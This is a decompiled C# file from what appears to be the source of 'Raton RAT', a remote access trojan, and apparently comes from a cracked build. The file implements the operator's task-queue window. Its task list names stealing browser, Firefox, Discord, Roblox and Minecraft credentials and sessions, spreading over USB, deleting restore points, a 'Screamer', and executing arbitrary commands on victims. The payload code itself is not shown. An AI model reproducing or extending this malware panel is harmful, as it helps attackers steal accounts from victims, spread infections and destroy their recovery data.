Files
raton4.0-source/Raton RAT/Raton/Windows/Tasks.cs
T

208 lines
6.3 KiB
C#
Raw Normal View History

2026-08-27 11:23:13 -06:00
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Tasks
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Microsoft.Win32;
using Newtonsoft.Json;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using WpfApp1;
#nullable disable
namespace Raton.Windows;
public partial class Tasks : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private static readonly string TasksPath = Path.Combine(MainWindow.appData, "tasks.json");
private static readonly HashSet<string> NoArgTasks = new HashSet<string>((IEqualityComparer<string>) StringComparer.OrdinalIgnoreCase)
{
"Browser recovery",
"Firefox recovery",
"Roblox sessions",
"Discord tokens",
"Minecraft sessions",
"Save screen",
"Screamer",
"USB spread",
"Prevent sleep",
"Delete restore points"
};
private readonly ObservableCollection<TaskItem> _tasks = new ObservableCollection<TaskItem>();
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public Tasks()
{
this.InitializeComponent();
this.TaskGrid.ItemsSource = (IEnumerable) this._tasks;
this.LoadTasks();
this.Loaded += new RoutedEventHandler(this.ApplyDarkMode);
}
private void ApplyDarkMode(object sender, RoutedEventArgs e)
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
Tasks.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
private void LoadTasks()
{
this._tasks.Clear();
if (!File.Exists(Tasks.TasksPath))
{
this.Refresh();
}
else
{
try
{
List<TaskItem> taskItemList = JsonConvert.DeserializeObject<List<TaskItem>>(File.ReadAllText(Tasks.TasksPath));
if (taskItemList != null)
{
foreach (TaskItem taskItem in taskItemList)
{
if (!string.IsNullOrWhiteSpace(taskItem.Name) && taskItem.Name != "How tasks works?")
this._tasks.Add(taskItem);
}
}
}
catch
{
}
this.Refresh();
}
}
private void SaveTasks()
{
try
{
Directory.CreateDirectory(Path.GetDirectoryName(Tasks.TasksPath));
File.WriteAllText(Tasks.TasksPath, JsonConvert.SerializeObject((object) this._tasks, Formatting.Indented));
}
catch (Exception ex)
{
int num = (int) Messenger.MessageBox("Could not save tasks:\n" + ex.Message, "Error", icon: MessageBoxImage.Exclamation);
}
}
private void Refresh()
{
int count = this._tasks.Count;
this.TbTaskCount.Text = count == 0 ? " — 0 tasks" : $" — {count} task{(count == 1 ? (object) "" : (object) "s")}";
this.EmptyState.Visibility = count == 0 ? Visibility.Visible : Visibility.Collapsed;
}
private void TaskCombo_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (this.TaskArg == null)
return;
// ISSUE: explicit non-virtual call
string str = (this.TaskCombo.SelectedItem is ComboBoxItem selectedItem ? selectedItem.Content?.ToString() : (string) null) ?? "";
if (Tasks.NoArgTasks.Contains(str))
{
this.TaskArg.Text = "(This command doesn't require arguments)";
this.TaskArg.IsEnabled = false;
}
else
{
this.TaskArg.Text = string.Empty;
this.TaskArg.IsEnabled = true;
this.TaskArg.Focus();
}
}
private void AddTask_Click(object sender, MouseButtonEventArgs e)
{
// ISSUE: explicit non-virtual call
string str1 = this.TaskCombo.SelectedItem is ComboBoxItem selectedItem ? selectedItem.Content?.ToString() : (string) null;
if (string.IsNullOrWhiteSpace(str1))
{
int num1 = (int) Messenger.MessageBox("Select a task type first.", nameof (Tasks), icon: MessageBoxImage.Asterisk);
}
else
{
string str2 = this.TaskArg.IsEnabled ? this.TaskArg.Text.Trim() : string.Empty;
if (str1.StartsWith("Execute") && string.IsNullOrWhiteSpace(str2))
{
int num2 = (int) Messenger.MessageBox("Enter a command to execute.", nameof (Tasks), icon: MessageBoxImage.Asterisk);
this.TaskArg.Focus();
}
else
{
this._tasks.Add(new TaskItem()
{
Name = str1,
Value = str2
});
this.SaveTasks();
this.Refresh();
this.TaskCombo.SelectedIndex = -1;
this.TaskArg.Text = "Select a task type first...";
this.TaskArg.IsEnabled = false;
}
}
}
private void DeleteTask_Click(object sender, RoutedEventArgs e)
{
if (!(this.TaskGrid.SelectedItem is TaskItem selectedItem))
return;
this._tasks.Remove(selectedItem);
this.SaveTasks();
this.Refresh();
}
private void ClearAll_Click(object sender, RoutedEventArgs e) => this.DoClearAll();
private void ClearAll_Click(object sender, MouseButtonEventArgs e) => this.DoClearAll();
private void DoClearAll()
{
if (this._tasks.Count == 0 || Messenger.MessageBox("Remove all tasks?", "Clear tasks", MessageBoxButton.YesNo, MessageBoxImage.Question) != MessageBoxResult.Yes)
return;
this._tasks.Clear();
this.SaveTasks();
this.Refresh();
}
private void Close_Click(object sender, MouseButtonEventArgs e) => this.Close();
}